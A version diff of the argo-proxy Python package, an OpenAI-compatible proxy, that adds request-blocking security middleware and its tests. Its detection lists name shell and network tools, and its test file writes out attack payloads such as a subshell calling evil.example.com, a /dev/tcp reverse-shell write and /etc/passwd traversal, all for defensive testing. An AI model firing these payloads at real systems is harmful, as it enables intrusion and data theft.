argo-proxy 3.2.0a0__tar.gz → 3.2.2__tar.gz

{argo_proxy-3.2.0a0/src/argo_proxy.egg-info → argo_proxy-3.2.2}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: argo-proxy
-Version: 3.2.0a0
+Version: 3.2.2
 Summary: Proxy server to Argo API, OpenAI format compatible
 Author-email: Peng Ding <oaklight@gmx.com>
 License-Expression: MIT
@@ -15,7 +15,7 @@ Requires-Python: >=3.10
 Description-Content-Type: text/markdown
 License-File: LICENSE
 Requires-Dist: aiohttp>=3.12.2
-Requires-Dist: llm-rosetta>=0.7.0a0
+Requires-Dist: llm-rosetta>=0.7.0
 Requires-Dist: pydantic>=2.11.7
 Requires-Dist: tiktoken>=0.9.0
 Requires-Dist: tqdm>=4.67.1

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/pyproject.toml

@@ -20,7 +20,7 @@ classifiers = [
 
 dependencies = [
     "aiohttp>=3.12.2",
-    "llm-rosetta>=0.7.0a0",
+    "llm-rosetta>=0.7.0",
     "pydantic>=2.11.7",
     "tiktoken>=0.9.0",
     "tqdm>=4.67.1",

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2/src/argo_proxy.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: argo-proxy
-Version: 3.2.0a0
+Version: 3.2.2
 Summary: Proxy server to Argo API, OpenAI format compatible
 Author-email: Peng Ding <oaklight@gmx.com>
 License-Expression: MIT
@@ -15,7 +15,7 @@ Requires-Python: >=3.10
 Description-Content-Type: text/markdown
 License-File: LICENSE
 Requires-Dist: aiohttp>=3.12.2
-Requires-Dist: llm-rosetta>=0.7.0a0
+Requires-Dist: llm-rosetta>=0.7.0
 Requires-Dist: pydantic>=2.11.7
 Requires-Dist: tiktoken>=0.9.0
 Requires-Dist: tqdm>=4.67.1

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/SOURCES.txt

@@ -41,4 +41,5 @@ test/test_function_calling_single.py
 test/test_leaked_tool_parser.py
 test/test_model_resolution.py
 tests/test_config_migrate.py
+tests/test_security_middleware.py
 tests/test_unix_socket.py

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/requires.txt

@@ -1,5 +1,5 @@
 aiohttp>=3.12.2
-llm-rosetta>=0.7.0a0
+llm-rosetta>=0.7.0
 pydantic>=2.11.7
 tiktoken>=0.9.0
 tqdm>=4.67.1

argo_proxy-3.2.2/src/argoproxy/__init__.py

@@ -0,0 +1 @@
+__version__ = "3.2.2"

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/app.py

@@ -19,6 +19,7 @@ from .performance import (
     OptimizedHTTPSession,
     get_performance_config,
 )
+from .utils.attack_logger import security_middleware
 from .utils.logging import log_debug, log_error, log_info, log_warning
 
 
@@ -92,7 +93,6 @@ async def prepare_app(app):
     # Create optimized HTTP session
     resolve_overrides = getattr(app["config"], "resolve_overrides", None)
     http_session_manager = OptimizedHTTPSession(
-        user_agent=f"argo-proxy/{__version__}",
         resolve_overrides=resolve_overrides if resolve_overrides else None,
         **perf_config,
     )
@@ -321,7 +321,10 @@ def create_app():
     # Set client_max_size to 100MB to handle large image payloads from remote clients
     # Users may send images larger than the gateway's 20MB limit; argo-proxy will
     # compress them before forwarding. Default aiohttp limit is 1MB which is too small.
-    app = web.Application(client_max_size=100 * 1024 * 1024)
+    app = web.Application(
+        client_max_size=100 * 1024 * 1024,
+        middlewares=[security_middleware],
+    )
     app.on_startup.append(prepare_app)
     app.on_shutdown.append(cleanup_app)
 

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/config/model.py

@@ -76,6 +76,10 @@ class ArgoConfig:
     # Model list auto-refresh
     model_refresh_interval_hours: float = 24  # 0 to disable
 
+    # Fallback models — used when an unrecognized model name is requested
+    default_chat_model: str = "argo:gpt-5.4-nano"
+    default_embed_model: str = "argo:text-embedding-3-small"
+
     # Image processing settings
     enable_payload_control: bool = False  # Enable automatic payload size control
     max_payload_size: int = 20  # MB default (total for all images)

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/endpoints/dispatch.py

@@ -27,6 +27,7 @@ from llm_rosetta.shims.providers import load_providers
 from ..config import ArgoConfig
 from ..models import ModelRegistry
 from ..utils.image_processing import process_anthropic_images, process_openai_images
+from ..utils.misc import build_user_agent
 from ..utils.logging import (
     clear_request_user,
     log_converted_request,
@@ -288,6 +289,8 @@ def _build_upstream_headers(
     """Build HTTP headers for the upstream API request."""
     headers: dict[str, str] = {"Content-Type": "application/json"}
 
+    headers["User-Agent"] = build_user_agent(request.headers.get("User-Agent"))
+
     if should_use_username_passthrough():
         api_key = _extract_client_credential(request, target_provider) or fallback_user
     else:

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/endpoints/passthrough.py

@@ -13,6 +13,7 @@ from aiohttp import web
 
 from ..config import ArgoConfig
 from ..models import ModelRegistry
+from ..utils.misc import build_user_agent
 from ..utils.logging import (
     log_converted_request,
     log_debug,
@@ -67,6 +68,9 @@ async def proxy_embeddings_request(
         upstream_url = f"{config.native_openai_base_url}/embeddings"
 
         headers = {"Content-Type": "application/json"}
+
+        headers["User-Agent"] = build_user_agent(request.headers.get("User-Agent"))
+
         if "Authorization" in request.headers:
             headers["Authorization"] = request.headers["Authorization"]
 

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/models.py

@@ -13,6 +13,7 @@ from tqdm.asyncio import tqdm_asyncio
 
 from .config import ArgoConfig, _get_yes_no_input_with_timeout
 from .utils.logging import log_debug, log_error, log_info, log_warning
+from .utils.misc import build_user_agent
 from .utils.transports import validate_api_async
 
 DEFAULT_TIMEOUT = 30
@@ -51,6 +52,7 @@ _DEFAULT_CHAT_MODELS = flatten_mapping(
         "gpt51": "argo:gpt-5.1",
         "gpt52": "argo:gpt-5.2",
         "gpt54": "argo:gpt-5.4",
+        "gpt54nano": "argo:gpt-5.4-nano",
         "gpt55": "argo:gpt-5.5",
         # gemini
         "gemini25pro": "argo:gemini-2.5-pro",
@@ -308,7 +310,7 @@ async def get_upstream_model_list_async(
         async with aiohttp.ClientSession(
             connector=connector,
             timeout=client_timeout,
-            headers={"User-Agent": "argo-proxy/1.0"},
+            headers={"User-Agent": build_user_agent()},
         ) as session:
             log_debug(f"Sending request to: {url}", context="models")
 
@@ -480,7 +482,7 @@ def _categorize_results(
             unavailable.clear()
         else:
             log_error(
-                "Proceeding without unavailable models. Subsequent calls to these models will be replaced with argo:gpt-5-nano",
+                "Proceeding without unavailable models. Subsequent calls to these models will use the configured default fallback",
                 context="models",
             )
 
@@ -781,14 +783,27 @@ class ModelRegistry:
             return model_name
 
         if model_type == "chat":
-            default_model = "argo:gpt-5-nano"
+            default_model = self._config.default_chat_model
         elif model_type == "embed":
-            default_model = "argo:text-embedding-3-small"
+            default_model = self._config.default_embed_model
+        else:
+            default_model = self._config.default_chat_model
+            log_warning(
+                f"Unknown model_type '{model_type}', using chat fallback",
+                context="ModelRegistry",
+            )
         log_warning(
             f"Model '{model_name}' not found in registry, falling back to {default_model}",
             context="ModelRegistry",
         )
-        return self.available_models[default_model]
+        if default_model in self.available_models:
+            return self.available_models[default_model]
+        # Default model itself not in registry — return its name as-is
+        log_warning(
+            f"Default fallback model '{default_model}' not in registry either",
+            context="ModelRegistry",
+        )
+        return default_model
 
     def as_openai_list(self) -> dict[str, Any]:
         # Mock data for available models

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/performance.py

@@ -93,7 +93,6 @@ class OptimizedHTTPSession:
         read_timeout: Socket read timeout in seconds.
         total_timeout: Total request timeout in seconds.
         dns_cache_ttl: DNS cache TTL in seconds.
-        user_agent: User agent string.
         resolve_overrides: Optional dict mapping "host:port" to IP address
             for custom DNS resolution (similar to curl --resolve).
     """
@@ -108,7 +107,6 @@ class OptimizedHTTPSession:
         read_timeout: int = 30,
         total_timeout: int = 60,
         dns_cache_ttl: int = 300,
-        user_agent: str = "argo-proxy",
         resolve_overrides: dict[str, str] | None = None,
     ):
         connector_kwargs: dict = {
@@ -137,7 +135,6 @@ class OptimizedHTTPSession:
         )
 
         self.session: aiohttp.ClientSession | None = None
-        self.user_agent = user_agent
 
     async def create_session(self) -> aiohttp.ClientSession:
         """Create and return the HTTP session."""
@@ -145,7 +142,6 @@ class OptimizedHTTPSession:
             self.session = aiohttp.ClientSession(
                 connector=self.connector,
                 timeout=self.timeout,
-                headers={"User-Agent": self.user_agent},
             )
             log_debug(
                 f"HTTP session created: {self.connector.limit} total, "

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/utils/attack_logger.py

@@ -4,6 +4,7 @@ This module provides functionality to:
 1. Log attack attempts with concise warning messages
 2. Save detailed attack information to files for analysis
 3. Organize logs by date in a dedicated directory
+4. Block malicious requests at the application level via middleware
 """
 
 import gzip
@@ -13,6 +14,9 @@ import traceback
 from datetime import datetime
 from pathlib import Path
 from typing import Any
+from urllib.parse import unquote
+
+from aiohttp import web
 
 from .logging import log_warning
 
@@ -31,7 +35,11 @@ class AttackLogger:
         enabled: Whether attack logging is enabled.
     """
 
-    # Known attack patterns for classification
+    # Broadest pattern set — used to classify attack type from raw request data.
+    # Includes generic terms (nslookup, curl, wget) that would false-positive in
+    # URL matching but are fine for post-hoc classification of parser-rejected requests.
+    # See also: AttackFilter.ATTACK_PATTERNS (log filter) and _REQUEST_ATTACK_PATTERNS
+    # (middleware) — each has a narrower scope suited to its context.
     ATTACK_TYPES = {
         "struts2_ognl": [
             "xwork.MethodAccessor.denyMethodExecution",
@@ -66,6 +74,19 @@ class AttackLogger:
             "onerror=",
             "onload=",
         ],
+        "command_injection": [
+            "$(",
+            "/bin/bash",
+            "/bin/sh",
+            "/bin/zsh",
+            "cmd.exe",
+            "powershell",
+            "/dev/tcp/",
+            "/dev/udp/",
+            "nslookup ",
+            "curl ",
+            "wget ",
+        ],
     }
 
     def __init__(self, config_path: Path | None = None):
@@ -205,7 +226,10 @@ class AttackFilter(logging.Filter):
         "http_exceptions",
     ]
 
-    # Attack payload patterns
+    # Subset of patterns matched against aiohttp parser exception text.
+    # Narrower than ATTACK_TYPES — only patterns that actually appear in parser
+    # error messages. See also: ATTACK_TYPES (classifier) and
+    # _REQUEST_ATTACK_PATTERNS (middleware).
     ATTACK_PATTERNS = [
         # Struts2 OGNL
         "xwork.MethodAccessor",
@@ -219,6 +243,12 @@ class AttackFilter(logging.Filter):
         "${{",
         "${#",
         "%24%7B",
+        # Command injection
+        "$(",
+        "/bin/bash",
+        "/bin/sh",
+        "/dev/tcp/",
+        "/dev/udp/",
     ]
 
     def __init__(self, attack_logger: AttackLogger):
@@ -306,6 +336,131 @@ class AttackFilter(logging.Filter):
         return "unknown"
 
 
+# ---------------------------------------------------------------------------
+# Request-level security middleware
+# ---------------------------------------------------------------------------
+
+# Strictest pattern set — checked against URL-decoded path + query string on
+# every inbound request. Only high-confidence indicators that are unlikely to
+# appear in legitimate LLM API URLs. All patterns must be lowercase (the URL
+# is lowercased before matching). See also: ATTACK_TYPES (classifier) and
+# AttackFilter.ATTACK_PATTERNS (log filter) for the broader lists.
+_REQUEST_ATTACK_PATTERNS: dict[str, list[str]] = {
+    "command_injection": [
+        "$(",  # bash subshell: $(cmd)
+        # Backtick command substitution — most aggressive single-char pattern.
+        # Extremely rare in legitimate LLM API URLs; check here first on false positives.
+        "`",
+        "/bin/bash",
+        "/bin/sh",
+        "/bin/zsh",
+        "cmd.exe",
+        "powershell",
+        "/dev/tcp/",
+        "/dev/udp/",
+        # nslookup/curl/wget are in ATTACK_TYPES for classification but intentionally
+        # excluded here — too generic for URL matching and would cause false positives.
+    ],
+    "struts2_ognl": [
+        "xwork.methodaccessor",
+        "_memberaccess",
+        "allowstaticmethodaccess",
+        "java.lang.runtime",
+        "org.apache.struts2",
+    ],
+    "directory_traversal": [
+        "././././",
+        "../../../",  # requires 3+ levels to avoid false positives on relative paths
+    ],
+    "ssti_probe": [
+        "${{",
+        "${#",
+    ],
+    "xss_probe": [
+        "<script>",
+        "javascript:",
+    ],
+}
+
+
+def _decode_url(raw: str) -> str:
+    """URL-decode a string, applying up to 2 rounds to catch double-encoding.
+
+    Args:
+        raw: Raw URL string.
+
+    Returns:
+        Decoded string.
+    """
+    # Two passes to catch double-encoded payloads like %2524%2528 -> %24%28 -> $(
+    return unquote(unquote(raw))
+
+
+def _detect_request_attack(url_decoded: str) -> str | None:
+    """Check a decoded URL string against request-level attack patterns.
+
+    Args:
+        url_decoded: URL-decoded path + query string.
+
+    Returns:
+        Attack type string if matched, None otherwise.
+    """
+    url_lower = url_decoded.lower()
+    # Patterns are lowercase literals — no need to call .lower() on them.
+    for attack_type, patterns in _REQUEST_ATTACK_PATTERNS.items():
+        for pattern in patterns:
+            if pattern in url_lower:
+                return attack_type
+    return None
+
+
+@web.middleware
+async def security_middleware(
+    request: web.Request,
+    handler,
+) -> web.StreamResponse:
+    """Application-level middleware that blocks requests with malicious payloads.
+
+    This complements the AttackFilter (which catches parser-level errors) by
+    inspecting syntactically valid HTTP requests before they reach handlers.
+    The URL path and query string are URL-decoded before pattern matching.
+
+    Args:
+        request: The incoming aiohttp request.
+        handler: The next handler in the middleware chain.
+
+    Returns:
+        A 403 response if an attack is detected, otherwise the handler response.
+    """
+    # Decode and inspect path + query string
+    raw_url = request.path_qs
+    decoded_url = _decode_url(raw_url)
+    attack_type = _detect_request_attack(decoded_url)
+
+    if attack_type is not None:
+        # Extract remote IP
+        peername = (
+            request.transport.get_extra_info("peername") if request.transport else None
+        )
+        remote_ip = peername[0] if peername else request.remote or "unknown"
+
+        # Log via AttackLogger
+        attack_logger = get_attack_logger()
+        attack_logger.log_attack(
+            remote_ip=remote_ip,
+            raw_request=f"{request.method} {raw_url}",
+            error_type="blocked_by_middleware",
+            error_message=f"Request blocked: {attack_type} pattern in URL",
+        )
+
+        return web.json_response(
+            {"error": "Forbidden"},
+            status=403,
+        )
+
+    return await handler(request)
+
+
 # Global attack logger instance
 _attack_logger: AttackLogger | None = None
 

{argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/utils/misc.py

@@ -224,3 +224,13 @@ def check_response_for_argo_warning(
     """
     text = extract_text_from_response(response_data, provider)
     return contains_argo_auth_warning(text)
+
+
+def build_user_agent(client_ua: str | None = None) -> str:
+    """Build a User-Agent string identifying argo-proxy, optionally appended to a client UA."""
+    from .. import __version__
+
+    proxy_ua = f"argo-proxy/{__version__}"
+    if client_ua:
+        return f"{client_ua} {proxy_ua}"
+    return proxy_ua

argo_proxy-3.2.2/tests/test_security_middleware.py

@@ -0,0 +1,161 @@
+"""Tests for the request-level security middleware.
+
+Verifies that malicious payloads in URLs are blocked before reaching handlers,
+while legitimate requests pass through.
+"""
+
+from aiohttp import web
+from aiohttp.test_utils import AioHTTPTestCase
+
+from argoproxy.utils.attack_logger import security_middleware
+
+
+async def _ok_handler(request: web.Request) -> web.Response:
+    """Simple handler that returns 200 OK."""
+    return web.json_response({"status": "ok"})
+
+
+def _create_test_app() -> web.Application:
+    """Create a minimal app with security middleware and a catch-all route."""
+    app = web.Application(middlewares=[security_middleware])
+    app.router.add_route("*", "/{path:.*}", _ok_handler)
+    return app
+
+
+# ---------------------------------------------------------------------------
+# Legitimate requests — should pass through (200)
+# ---------------------------------------------------------------------------
+
+
+class TestLegitimateRequests(AioHTTPTestCase):
+    """Ensure normal API traffic is not blocked."""
+
+    async def get_application(self):
+        return _create_test_app()
+
+    async def test_normal_api_path(self):
+        resp = await self.client.get("/api/v1/models")
+        assert resp.status == 200
+
+    async def test_normal_query_params(self):
+        resp = await self.client.get("/api/chat?model=gpt-4&stream=true")
+        assert resp.status == 200
+
+    async def test_json_post(self):
+        resp = await self.client.post(
+            "/v1/chat/completions",
+            json={"model": "gpt-4", "messages": [{"role": "user", "content": "hello"}]},
+        )
+        assert resp.status == 200
+
+    async def test_health_check(self):
+        resp = await self.client.get("/health")
+        assert resp.status == 200
+
+    async def test_well_known(self):
+        resp = await self.client.get("/.well-known/jwks.json")
+        assert resp.status == 200
+
+
+# ---------------------------------------------------------------------------
+# Command injection — should be blocked (403)
+# ---------------------------------------------------------------------------
+
+
+class TestCommandInjection(AioHTTPTestCase):
+    """Verify command injection payloads are blocked."""
+
+    async def get_application(self):
+        return _create_test_app()
+
+    async def test_subshell_in_query(self):
+        """The exact payload from the Nessus scan."""
+        resp = await self.client.get(
+            '/api/getServices?name[]=$(/bin/bash -c "nslookup evil.example.com")'
+        )
+        assert resp.status == 403
+
+    async def test_bash_devtcp_in_query(self):
+        """Reverse shell via /dev/tcp."""
+        resp = await self.client.get(
+            '/api/getServices?name[]=$(bash -c "echo pwned >/dev/tcp/1.2.3.4/4444")'
+        )
+        assert resp.status == 403
+
+    async def test_backtick_injection(self):
+        resp = await self.client.get("/api/search?q=`id`")
+        assert resp.status == 403
+
+    async def test_url_encoded_subshell(self):
+        """URL-encoded $( should be decoded and caught."""
+        resp = await self.client.get("/api/search?q=%24%28id%29")
+        assert resp.status == 403
+
+    async def test_double_encoded_subshell(self):
+        """Double URL-encoded $( should still be caught."""
+        resp = await self.client.get("/api/search?q=%2524%2528id%2529")
+        assert resp.status == 403
+
+    async def test_bin_sh_in_query(self):
+        resp = await self.client.get("/api/run?cmd=/bin/sh+-c+id")
+        assert resp.status == 403
+
+    async def test_powershell_in_query(self):
+        resp = await self.client.get("/api/run?cmd=powershell+-enc+base64payload")
+        assert resp.status == 403
+
+    async def test_cmd_exe_in_query(self):
+        resp = await self.client.get("/api/run?cmd=cmd.exe+/c+dir")
+        assert resp.status == 403
+
+
+# ---------------------------------------------------------------------------
+# Other attack types — should be blocked (403)
+# ---------------------------------------------------------------------------
+
+
+class TestOtherAttackTypes(AioHTTPTestCase):
+    """Verify other attack patterns are blocked at request level."""
+
+    async def get_application(self):
+        return _create_test_app()
+
+    async def test_directory_traversal_in_query(self):
+        resp = await self.client.get("/api/file?path=../../../etc/passwd")
+        assert resp.status == 403
+
+    async def test_struts2_ognl(self):
+        resp = await self.client.get(
+            "/api?class.module.classLoader.URLs%5B0%5D=java.lang.Runtime"
+        )
+        assert resp.status == 403
+
+    async def test_ssti_probe(self):
+        resp = await self.client.get("/api/search?q=${{7*7}}")
+        assert resp.status == 403
+
+    async def test_xss_script_tag(self):
+        resp = await self.client.get("/api/search?q=<script>alert(1)</script>")
+        assert resp.status == 403
+
+    async def test_xss_javascript_proto(self):
+        resp = await self.client.get("/api/redirect?url=javascript:alert(1)")
+        assert resp.status == 403
+
+
+# ---------------------------------------------------------------------------
+# Response format
+# ---------------------------------------------------------------------------
+
+
+class TestResponseFormat(AioHTTPTestCase):
+    """Verify the blocked response format."""
+
+    async def get_application(self):
+        return _create_test_app()
+
+    async def test_blocked_response_body(self):
+        resp = await self.client.get('/api/getServices?name[]=$(/bin/bash -c "whoami")')
+        assert resp.status == 403
+        body = await resp.json()
+        assert body == {"error": "Forbidden"}

argo_proxy-3.2.0a0/src/argoproxy/__init__.py

@@ -1 +0,0 @@
-__version__ = "3.2.0a0"